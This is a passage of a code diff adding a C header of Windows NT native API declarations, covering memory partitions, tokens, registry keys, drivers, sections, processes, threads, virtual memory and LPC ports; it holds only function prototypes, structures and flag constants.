+ ULONG Flags; +} MEMORY_PARTITION_PAGEFILE_INFORMATION, * PMEMORY_PARTITION_PAGEFILE_INFORMATION; + +typedef struct _MEMORY_PARTITION_TRANSFER_INFORMATION { + ULONG_PTR NumberOfPages; + ULONG NumaNode; + ULONG Flags; +} MEMORY_PARTITION_TRANSFER_INFORMATION, * PMEMORY_PARTITION_TRANSFER_INFORMATION; + +typedef struct _MEMORY_PARTITION_CONFIGURATION_INFORMATION { + ULONG Flags; + ULONG NumaNode; + ULONG Channel; + ULONG NumberOfNumaNodes; + ULONG_PTR ResidentAvailablePages; + ULONG_PTR CommittedPages; + ULONG_PTR CommitLimit; + ULONG_PTR PeakCommitment; + ULONG_PTR TotalNumberOfPages; + ULONG_PTR AvailablePages; + ULONG_PTR ZeroPages; + ULONG_PTR FreePages; + ULONG_PTR StandbyPages; +} MEMORY_PARTITION_CONFIGURATION_INFORMATION, * PMEMORY_PARTITION_CONFIGURATION_INFORMATION; + +NTSTATUS NTAPI NtOpenPartition( + _Out_ PHANDLE PartitionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +NTSTATUS NTAPI NtManagePartition( + _In_ HANDLE TargetHandle, + _In_ HANDLE SourceHandle, + _In_ MEMORY_PARTITION_INFORMATION_CLASS PartitionInformationClass, + _Inout_ PVOID PartitionInformation, + _In_ SIZE_T PartitionInformationLength +); + +NTSTATUS NTAPI NtCreatePartition( + _Out_ PHANDLE PartitionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG PreferredNode +); + +/* +* Memory partition END +*/ + +/* +** Native API START +*/ + +NTSTATUS NTAPI NtClose( + _In_ HANDLE Handle +); + +NTSTATUS NTAPI NtCreateDirectoryObject( + _Out_ PHANDLE DirectoryHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +NTSTATUS NTAPI NtCreateDirectoryObjectEx( + _Out_ PHANDLE DirectoryHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE ShadowDirectoryHandle, + _In_ ULONG Flags +); + +NTSTATUS NTAPI NtOpenDirectoryObject( + _Out_ PHANDLE DirectoryHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +NTSTATUS NTAPI NtQueryDirectoryObject( + _In_ HANDLE DirectoryHandle, + _Out_opt_ PVOID Buffer, + _In_ ULONG Length, + _In_ BOOLEAN ReturnSingleEntry, + _In_ BOOLEAN RestartScan, + _Inout_ PULONG Context, + PULONG ReturnLength +); + +NTSTATUS NTAPI NtQueryObject( + _In_opt_ HANDLE Handle, + _In_ OBJECT_INFORMATION_CLASS ObjectInformationClass, + _Out_opt_ PVOID ObjectInformation, + _In_ ULONG ObjectInformationLength, + _Out_opt_ PULONG ReturnLength +); + +NTSTATUS WINAPI NtQuerySystemInformation( + _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, + _Inout_ PVOID SystemInformation, + _In_ ULONG SystemInformationLength, + _Out_opt_ PULONG ReturnLength +); + +NTSTATUS NTAPI NtSetSystemInformation( + _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, + _In_opt_ PVOID SystemInformation, + _In_ ULONG SystemInformationLength +); + +NTSTATUS NTAPI NtCreateMutant( + _Out_ PHANDLE MutantHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ BOOLEAN InitialOwner +); + +NTSTATUS NTAPI NtOpenMutant( + _Out_ PHANDLE MutantHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +NTSTATUS NTAPI NtQueryMutant( + _In_ HANDLE MutantHandle, + _In_ MUTANT_INFORMATION_CLASS MutantInformationClass, + _Out_ PVOID MutantInformation, + _In_ ULONG MutantInformationLength, + _Out_opt_ PULONG ReturnLength +); + +NTSTATUS NTAPI NtReleaseMutant( + _In_ HANDLE MutantHandle, + _Out_opt_ PLONG PreviousCount +); + +NTSTATUS NTAPI NtCreateTimer( + _In_ PHANDLE TimerHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ TIMER_TYPE TimerType +); + +NTSTATUS NtSetTimer( + _In_ HANDLE TimerHandle, + _In_ PLARGE_INTEGER DueTime, + _In_opt_ PTIMER_APC_ROUTINE TimerApcRoutine, + _In_opt_ PVOID TimerContext, + _In_ BOOLEAN WakeTimer, + _In_opt_ LONG Period, + _Out_opt_ PBOOLEAN PreviousState +); + +NTSTATUS NTAPI NtOpenTimer( + _In_ PHANDLE TimerHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +NTSTATUS NTAPI NtQueryTimer( + _In_ HANDLE TimerHandle, + _In_ TIMER_INFORMATION_CLASS TimerInformationClass, + _Out_ PVOID TimerInformation, + _In_ ULONG TimerInformationLength, + _Out_opt_ PULONG ReturnLength +); + +NTSTATUS NTAPI NtCreateSymbolicLinkObject( + _Out_ PHANDLE LinkHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ PUNICODE_STRING LinkTarget +); + +NTSTATUS WINAPI NtOpenSymbolicLinkObject( + _Out_ PHANDLE LinkHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +NTSTATUS NTAPI NtQuerySymbolicLinkObject( + _In_ HANDLE LinkHandle, + _Inout_ PUNICODE_STRING LinkTarget, + _Out_opt_ PULONG ReturnedLength +); + +NTSTATUS NTAPI NtQuerySemaphore( + _In_ HANDLE SemaphoreHandle, + _In_ SEMAPHORE_INFORMATION_CLASS SemaphoreInformationClass, + _Out_ PVOID SemaphoreInformation, + _In_ ULONG SemaphoreInformationLength, + _Out_opt_ PULONG ReturnLength +); + +NTSTATUS NTAPI NtQueryDirectoryFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_ PVOID FileInformation, + _In_ ULONG Length, + _In_ FILE_INFORMATION_CLASS FileInformationClass, + _In_ BOOLEAN ReturnSingleEntry, + _In_opt_ PUNICODE_STRING FileName, + _In_ BOOLEAN RestartScan +); + +NTSTATUS NTAPI NtNotifyChangeDirectoryFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + __out_bcount(Length) PVOID Buffer, + _In_ ULONG Length, + _In_ ULONG CompletionFilter, + _In_ BOOLEAN WatchTree +); + +NTSTATUS NTAPI NtQuerySection( + _In_ HANDLE SectionHandle, + _In_ SECTION_INFORMATION_CLASS SectionInformationClass, + _Out_ PVOID SectionInformation, + _In_ SIZE_T SectionInformationLength, + _Out_opt_ PSIZE_T ReturnLength +); + +NTSTATUS NtOpenSection( + _Out_ PHANDLE SectionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +NTSTATUS NTAPI NtCreateSection( + _Out_ PHANDLE SectionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PLARGE_INTEGER MaximumSize, + _In_ ULONG SectionPageProtection, + _In_ ULONG AllocationAttributes, + _In_opt_ HANDLE FileHandle +); + +NTSTATUS NTAPI NtMapViewOfSection( + _In_ HANDLE SectionHandle, + _In_ HANDLE ProcessHandle, + __inout PVOID* BaseAddress, + _In_ ULONG_PTR ZeroBits, + _In_ SIZE_T CommitSize, + _Inout_opt_ PLARGE_INTEGER SectionOffset, + _Inout_ PSIZE_T ViewSize, + _In_ SECTION_INHERIT InheritDisposition, + _In_ ULONG AllocationType, + _In_ ULONG Win32Protect +); + +NTSTATUS NTAPI NtUnmapViewOfSection( + _In_ HANDLE ProcessHandle, + _In_ PVOID BaseAddress +); + +NTSTATUS NTAPI NtOpenProcessToken( + _In_ HANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _Out_ PHANDLE TokenHandle +); + +NTSTATUS NTAPI NtDuplicateToken( + _In_ HANDLE ExistingTokenHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ BOOLEAN EffectiveOnly, + _In_ TOKEN_TYPE TokenType, + _Out_ PHANDLE NewTokenHandle +); + +#define DISABLE_MAX_PRIVILEGE 0x1 // winnt +#define SANDBOX_INERT 0x2 // winnt +#define LUA_TOKEN 0x4 +#define WRITE_RESTRICT 0x8 + +NTSTATUS NTAPI NtFilterToken( + _In_ HANDLE ExistingTokenHandle, + _In_ ULONG Flags, + _In_opt_ PTOKEN_GROUPS SidsToDisable, + _In_opt_ PTOKEN_PRIVILEGES PrivilegesToDelete, + _In_opt_ PTOKEN_GROUPS RestrictedSids, + _Out_ PHANDLE NewTokenHandle +); + +NTSTATUS NTAPI NtImpersonateAnonymousToken( + _In_ HANDLE ThreadHandle +); + +NTSTATUS NTAPI NtQueryInformationToken( + _In_ HANDLE TokenHandle, + _In_ TOKEN_INFORMATION_CLASS TokenInformationClass, + _Out_ PVOID TokenInformation, + _In_ ULONG TokenInformationLength, + _Out_ PULONG ReturnLength +); + +NTSTATUS NTAPI NtSetInformationToken( + _In_ HANDLE TokenHandle, + _In_ TOKEN_INFORMATION_CLASS TokenInformationClass, + _In_ PVOID TokenInformation, + _In_ ULONG TokenInformationLength +); + +NTSTATUS NTAPI NtOpenThreadTokenEx( + _In_ HANDLE ThreadHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ BOOLEAN OpenAsSelf, + _In_ ULONG HandleAttributes, + _Out_ PHANDLE TokenHandle +); + +NTSTATUS NTAPI NtAdjustPrivilegesToken( + _In_ HANDLE TokenHandle, + _In_ BOOLEAN DisableAllPrivileges, + _In_opt_ PTOKEN_PRIVILEGES NewState, + _In_opt_ ULONG BufferLength, + _Out_opt_ PTOKEN_PRIVILEGES PreviousState, + _Out_opt_ PULONG ReturnLength +); + +NTSTATUS NTAPI NtQueryInformationToken( + _In_ HANDLE TokenHandle, + _In_ TOKEN_INFORMATION_CLASS TokenInformationClass, + _Out_ PVOID TokenInformation, + _In_ ULONG TokenInformationLength, + _Out_ PULONG ReturnLength +); + +NTSTATUS NTAPI NtCreateKey( + _Out_ PHANDLE KeyHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + __reserved ULONG TitleIndex, + _In_opt_ PUNICODE_STRING Class, + _In_ ULONG CreateOptions, + _Out_opt_ PULONG Disposition +); + +NTSTATUS NTAPI NtOpenKey( + _Out_ PHANDLE KeyHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +NTSTATUS NTAPI NtQueryKey( + _In_ HANDLE KeyHandle, + _In_ KEY_INFORMATION_CLASS KeyInformationClass, + _Out_opt_ PVOID KeyInformation, + _In_ ULONG Length, + _Out_ PULONG ResultLength +); + +NTSTATUS NTAPI NtQueryValueKey( + _In_ HANDLE KeyHandle, + _In_ PUNICODE_STRING ValueName, + _In_ KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, + _Out_ PVOID KeyValueInformation, + _In_ ULONG Length, + _Out_ PULONG ResultLength +); + +NTSTATUS NTAPI NtSetValueKey( + _In_ HANDLE KeyHandle, + _In_ PUNICODE_STRING ValueName, + _In_opt_ ULONG TitleIndex, + _In_ ULONG Type, + _In_ PVOID Data, + _In_ ULONG DataSize +); + +NTSTATUS NTAPI NtDeleteKey( + _In_ HANDLE KeyHandle +); + +NTSTATUS NTAPI NtDeleteValueKey( + _In_ HANDLE KeyHandle, + _In_ PUNICODE_STRING ValueName +); + +NTSTATUS NTAPI NtLoadDriver( + _In_ PUNICODE_STRING DriverServiceName +); + +NTSTATUS NTAPI NtUnloadDriver( + _In_ PUNICODE_STRING DriverServiceName +); + +NTSTATUS NTAPI NtOpenJobObject( + _Out_ PHANDLE JobHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +NTSTATUS NTAPI NtQueryInformationJobObject( + _In_opt_ HANDLE JobHandle, + _In_ JOBOBJECTINFOCLASS JobObjectInformationClass, + _Out_ PVOID JobObjectInformation, + _In_ ULONG JobObjectInformationLength, + _Out_opt_ PULONG ReturnLength +); + +NTSTATUS NTAPI NtOpenIoCompletion( + _Out_ PHANDLE IoCompletionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +NTSTATUS NTAPI NtQueryIoCompletion( + _In_ HANDLE IoCompletionHandle, + _In_ IO_COMPLETION_INFORMATION_CLASS IoCompletionInformationClass, + _Out_ PVOID IoCompletionInformation, + _In_ ULONG IoCompletionInformationLength, + _Out_opt_ PULONG ReturnLength +); + +NTSTATUS NTAPI NtQueryInformationFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_ PVOID FileInformation, + _In_ ULONG Length, + _In_ FILE_INFORMATION_CLASS FileInformationClass +); + +NTSTATUS NTAPI NtQueryFullAttributesFile( + __in POBJECT_ATTRIBUTES ObjectAttributes, + __out PFILE_NETWORK_OPEN_INFORMATION FileInformation +); + +NTSTATUS NTAPI NtQueryDirectoryFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_ PVOID FileInformation, + _In_ ULONG Length, + _In_ FILE_INFORMATION_CLASS FileInformationClass, + _In_ BOOLEAN ReturnSingleEntry, + _In_opt_ PUNICODE_STRING FileName, + _In_ BOOLEAN RestartScan +); + +NTSTATUS NTAPI NtQueryEaFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + __out_bcount(Length) PVOID Buffer, + _In_ ULONG Length, + _In_ BOOLEAN ReturnSingleEntry, + __in_bcount_opt(EaListLength) PVOID EaList, + _In_ ULONG EaListLength, + _In_opt_ PULONG EaIndex, + _In_ BOOLEAN RestartScan +); + +NTSTATUS NTAPI NtSetEaFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + __in_bcount(Length) PVOID Buffer, + _In_ ULONG Length +); + +NTSTATUS NTAPI NtQueryVolumeInformationFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_ PVOID FsInformation, + _In_ ULONG Length, + _In_ FS_INFORMATION_CLASS FsInformationClass +); + +NTSTATUS NTAPI NtOpenFile( + _Out_ PHANDLE FileHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG ShareAccess, + _In_ ULONG OpenOptions +); + +NTSTATUS NTAPI NtReadFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + __out_bcount(Length) PVOID Buffer, + _In_ ULONG Length, + _In_opt_ PLARGE_INTEGER ByteOffset, + _In_opt_ PULONG Key +); + +NTSTATUS NTAPI NtWriteFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ PVOID Buffer, + _In_ ULONG Length, + _In_opt_ PLARGE_INTEGER ByteOffset, + _In_opt_ PULONG Key +); + +NTSTATUS NTAPI NtFlushBuffersFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock +); + +NTSTATUS NTAPI NtSetInformationFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + __in_bcount(Length) PVOID FileInformation, + _In_ ULONG Length, + _In_ FILE_INFORMATION_CLASS FileInformationClass +); + +NTSTATUS NTAPI NtDeleteFile( + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +NTSTATUS NTAPI NtOpenEvent( + _Out_ PHANDLE EventHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +NTSTATUS NTAPI NtOpenKeyedEvent( + _Out_ PHANDLE KeyedEventHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +NTSTATUS NTAPI NtOpenSemaphore( + _Out_ PHANDLE SemaphoreHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +NTSTATUS NTAPI NtQueryEvent( + _In_ HANDLE EventHandle, + _In_ EVENT_INFORMATION_CLASS EventInformationClass, + _Out_ PVOID EventInformation, + _In_ ULONG EventInformationLength, + _Out_opt_ PULONG ReturnLength +); + +NTSTATUS NTAPI NtOpenEventPair( + _Out_ PHANDLE EventPairHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +//TmTx +NTSTATUS NTAPI NtCreateTransaction( + _Out_ PHANDLE TransactionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ LPGUID Uow, + _In_opt_ HANDLE TmHandle, + _In_opt_ ULONG CreateOptions, + _In_opt_ ULONG IsolationLevel, + _In_opt_ ULONG IsolationFlags, + _In_opt_ PLARGE_INTEGER Timeout, + _In_opt_ PUNICODE_STRING Description +); + +NTSTATUS NTAPI NtRollbackTransaction( + _In_ HANDLE TransactionHandle, + _In_ BOOLEAN Wait); + +//TmRm +NTSTATUS NTAPI NtCreateResourceManager( + _Out_ PHANDLE ResourceManagerHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ HANDLE TmHandle, + _In_opt_ LPGUID ResourceManagerGuid, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ ULONG CreateOptions, + _In_opt_ PUNICODE_STRING Description +); + +//TmEn +NTSTATUS NTAPI NtCreateEnlistment( + _Out_ PHANDLE EnlistmentHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ HANDLE ResourceManagerHandle, + _In_ HANDLE TransactionHandle, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ ULONG CreateOptions, + _In_ NOTIFICATION_MASK NotificationMask, + _In_opt_ PVOID EnlistmentKey +); + +//TmTm +NTSTATUS NTAPI NtCreateTransactionManager( + _Out_ PHANDLE TmHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PUNICODE_STRING LogFileName, + _In_opt_ ULONG CreateOptions, + _In_opt_ ULONG CommitStrength +); + +NTSTATUS NTAPI NtCreateFile( + _Out_ PHANDLE FileHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_opt_ PLARGE_INTEGER AllocationSize, + _In_ ULONG FileAttributes, + _In_ ULONG ShareAccess, + _In_ ULONG CreateDisposition, + _In_ ULONG CreateOptions, + _In_opt_ PVOID EaBuffer, + _In_ ULONG EaLength +); + +NTSTATUS NTAPI NtDeviceIoControlFile( + _In_ HANDLE FileHandle, + _In_ HANDLE Event, + _In_ PIO_APC_ROUTINE ApcRoutine, + _In_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG IoControlCode, + _In_ PVOID InputBuffer, + _In_ ULONG InputBufferLength, + _Out_ PVOID OutputBuffer, + _In_ ULONG OutputBufferLength +); + +NTSTATUS NTAPI NtFsControlFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG FsControlCode, + _In_opt_ PVOID InputBuffer, + _In_ ULONG InputBufferLength, + _Out_opt_ PVOID OutputBuffer, + _In_ ULONG OutputBufferLength +); + +NTSTATUS NTAPI NtCreateUserProcess( + _Out_ PHANDLE ProcessHandle, + _Out_ PHANDLE ThreadHandle, + _In_ ACCESS_MASK ProcessDesiredAccess, + _In_ ACCESS_MASK ThreadDesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ProcessObjectAttributes, + _In_opt_ POBJECT_ATTRIBUTES ThreadObjectAttributes, + _In_ ULONG ProcessFlags, + _In_ ULONG ThreadFlags, + _In_opt_ PVOID ProcessParameters, + _Inout_ PPS_CREATE_INFO CreateInfo, + _In_opt_ PPS_ATTRIBUTE_LIST AttributeList +); + +NTSTATUS NTAPI NtOpenProcess( + _Out_ PHANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PCLIENT_ID ClientId +); + +NTSTATUS NTAPI NtTerminateProcess( + _In_opt_ HANDLE ProcessHandle, + _In_ NTSTATUS ExitStatus +); + +NTSTATUS NTAPI NtSuspendProcess( + _In_ HANDLE ProcessHandle +); + +NTSTATUS NTAPI NtResumeProcess( + _In_ HANDLE ProcessHandle +); + +NTSTATUS NTAPI NtSuspendThread( + _In_ HANDLE ThreadHandle, + _Out_opt_ PULONG PreviousSuspendCount +); + +NTSTATUS NTAPI NtResumeThread( + _In_ HANDLE ThreadHandle, + _Out_opt_ PULONG PreviousSuspendCount +); + +NTSTATUS NTAPI NtOpenThread( + _Out_ PHANDLE ThreadHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PCLIENT_ID ClientId +); + +NTSTATUS NTAPI NtTerminateThread( + _In_opt_ HANDLE ThreadHandle, + _In_ NTSTATUS ExitStatus +); + +NTSTATUS NTAPI NtImpersonateThread( + _In_ HANDLE ServerThreadHandle, + _In_ HANDLE ClientThreadHandle, + _In_ PSECURITY_QUALITY_OF_SERVICE SecurityQos +); + +NTSTATUS NTAPI NtSetContextThread( + _In_ HANDLE ThreadHandle, + _In_ PCONTEXT ThreadContext +); + +NTSTATUS NTAPI NtGetContextThread( + _In_ HANDLE ThreadHandle, + _Inout_ PCONTEXT ThreadContext +); + +NTSTATUS NTAPI NtQueryInformationThread( + _In_ HANDLE ThreadHandle, + _In_ THREADINFOCLASS ThreadInformationClass, + _Out_ PVOID ThreadInformation, + _In_ ULONG ThreadInformationLength, + _Out_opt_ PULONG ReturnLength +); + +NTSTATUS NTAPI NtSetInformationThread( + _In_ HANDLE ThreadHandle, + _In_ THREADINFOCLASS ThreadInformationClass, + _In_ PVOID ThreadInformation, + _In_ ULONG ThreadInformationLength +); + +NTSTATUS NTAPI NtQueryInformationProcess( + _In_ HANDLE ProcessHandle, + _In_ PROCESSINFOCLASS ProcessInformationClass, + _Out_ PVOID ProcessInformation, + _In_ ULONG ProcessInformationLength, + _Out_opt_ PULONG ReturnLength +); + +NTSTATUS NTAPI NtSetInformationProcess( + _In_ HANDLE ProcessHandle, + _In_ PROCESSINFOCLASS ProcessInformationClass, + _In_count_(ProcessInformationLength) PVOID ProcessInformation, + _In_ ULONG ProcessInformationLength +); + +NTSTATUS NTAPI NtDuplicateObject( + _In_ HANDLE SourceProcessHandle, + _In_ HANDLE SourceHandle, + _In_opt_ HANDLE TargetProcessHandle, + _Out_ PHANDLE TargetHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ ULONG HandleAttributes, + _In_ ULONG Options +); + +NTSTATUS NTAPI NtSetSecurityObject( + _In_ HANDLE Handle, + _In_ SECURITY_INFORMATION SecurityInformation, + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor +); + +NTSTATUS NTAPI NtQuerySecurityObject( + _In_ HANDLE Handle, + _In_ SECURITY_INFORMATION SecurityInformation, + _Out_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ ULONG Length, + _Out_ PULONG LengthNeeded +); + +NTSTATUS NTAPI NtQueryLicenseValue( + _In_ PUNICODE_STRING ValueName, + _Out_opt_ PULONG Type, + _Out_writes_bytes_to_opt_(DataSize, *ResultDataSize) PVOID Data, + _In_ ULONG DataSize, + _Out_ PULONG ResultDataSize +); + +NTSTATUS NtCreateIoCompletion( + _Out_ PHANDLE IoCompletionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ ULONG Count +); + +NTSTATUS NTAPI NtCreateEvent( + _Out_ PHANDLE EventHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ EVENT_TYPE EventType, + _In_ BOOLEAN InitialState +); + +NTSTATUS NTAPI NtSetEvent( + _In_ HANDLE EventHandle, + _Out_opt_ PLONG PreviousState +); + +NTSTATUS NTAPI NtAllocateVirtualMemory( + _In_ HANDLE ProcessHandle, + _Inout_ PVOID* BaseAddress, + _In_ ULONG_PTR ZeroBits, + _Inout_ PSIZE_T RegionSize, + _In_ ULONG AllocationType, + _In_ ULONG Protect +); + +NTSTATUS NTAPI NtFreeVirtualMemory( + _In_ HANDLE ProcessHandle, + _Inout_ PVOID* BaseAddress, + _Inout_ PSIZE_T RegionSize, + _In_ ULONG FreeType +); + +NTSTATUS NTAPI NtQueryVirtualMemory( + _In_ HANDLE ProcessHandle, + _In_ PVOID BaseAddress, + _In_ MEMORY_INFORMATION_CLASS MemoryInformationClass, + _Out_ PVOID MemoryInformation, + _In_ SIZE_T MemoryInformationLength, + _Out_opt_ PSIZE_T ReturnLength +); + +NTSTATUS NTAPI NtReadVirtualMemory( + _In_ HANDLE ProcessHandle, + _In_opt_ PVOID BaseAddress, + _Out_ PVOID Buffer, + _In_ SIZE_T BufferSize, + _Out_opt_ PSIZE_T NumberOfBytesRead +); + +NTSTATUS NTAPI NtWriteVirtualMemory( + _In_ HANDLE ProcessHandle, + _In_opt_ PVOID BaseAddress, + _In_ VOID* Buffer, + _In_ SIZE_T BufferSize, + _Out_opt_ PSIZE_T NumberOfBytesWritten +); + +NTSTATUS NTAPI NtProtectVirtualMemory( + _In_ HANDLE ProcessHandle, + _Inout_ PVOID* BaseAddress, + _Inout_ PSIZE_T RegionSize, + _In_ ULONG NewProtect, + _Out_ PULONG OldProtect +); + +NTSTATUS NTAPI NtEnumerateKey( + _In_ HANDLE KeyHandle, + _In_ ULONG Index, + _In_ KEY_INFORMATION_CLASS KeyInformationClass, + _Out_opt_ PVOID KeyInformation, + _In_ ULONG Length, + _Out_ PULONG ResultLength +); + +NTSTATUS NTAPI NtCreatePort( + _Out_ PHANDLE PortHandle, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG MaxConnectionInfoLength, + _In_ ULONG MaxMessageLength, + _In_ ULONG MaxPoolUsage +); + +NTSTATUS NTAPI NtCompleteConnectPort( + _In_ HANDLE PortHandle +); + +NTSTATUS NTAPI NtListenPort( + _In_ HANDLE PortHandle, + _Out_ PPORT_MESSAGE ConnectionRequest +); + +NTSTATUS NTAPI NtReplyPort( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE ReplyMessage +); + +NTSTATUS NTAPI NtReplyWaitReplyPort( + _In_ HANDLE PortHandle, + _Inout_ PPORT_MESSAGE ReplyMessage +); + +NTSTATUS NTAPI NtRequestPort( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE RequestMessage +); + +NTSTATUS NTAPI NtRequestWaitReplyPort( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE RequestMessage, + _Out_ PPORT_MESSAGE ReplyMessage +); + +NTSTATUS NTAPI NtClosePort( + _In_ HANDLE PortHandle +); + +NTSTATUS NTAPI NtReplyWaitReceivePort( + _In_ HANDLE PortHandle, + _Out_opt_ PVOID* PortContext, + _In_opt_ PPORT_MESSAGE ReplyMessage, + _Out_ PPORT_MESSAGE ReceiveMessage +); + +NTSTATUS NTAPI NtWriteRequestData( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE Message, + _In_ ULONG DataEntryIndex, + _In_ PVOID Buffer, + _In_ ULONG BufferSize, + _Out_opt_ PULONG NumberOfBytesWritten +); + +NTSTATUS NTAPI NtReadRequestData( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE Message, + _In_ ULONG DataEntryIndex, + _Out_ PVOID Buffer, + _In_ ULONG BufferSize, + _Out_opt_ PULONG NumberOfBytesRead +); + +NTSTATUS NTAPI NtConnectPort( + _Out_ PHANDLE PortHandle, + _In_ PUNICODE_STRING PortName, + _In_ PSECURITY_QUALITY_OF_SERVICE SecurityQos, + _Inout_opt_ PPORT_VIEW ClientView, + _Out_opt_ PREMOTE_PORT_VIEW ServerView, + _Out_opt_ PULONG MaxMessageLength, + _Inout_opt_ PVOID ConnectionInformation, + _Inout_opt_ PULONG ConnectionInformationLength +); + +NTSTATUS NTAPI NtAcceptConnectPort( + _Out_ PHANDLE PortHandle, + _In_opt_ PVOID PortContext, + _In_ 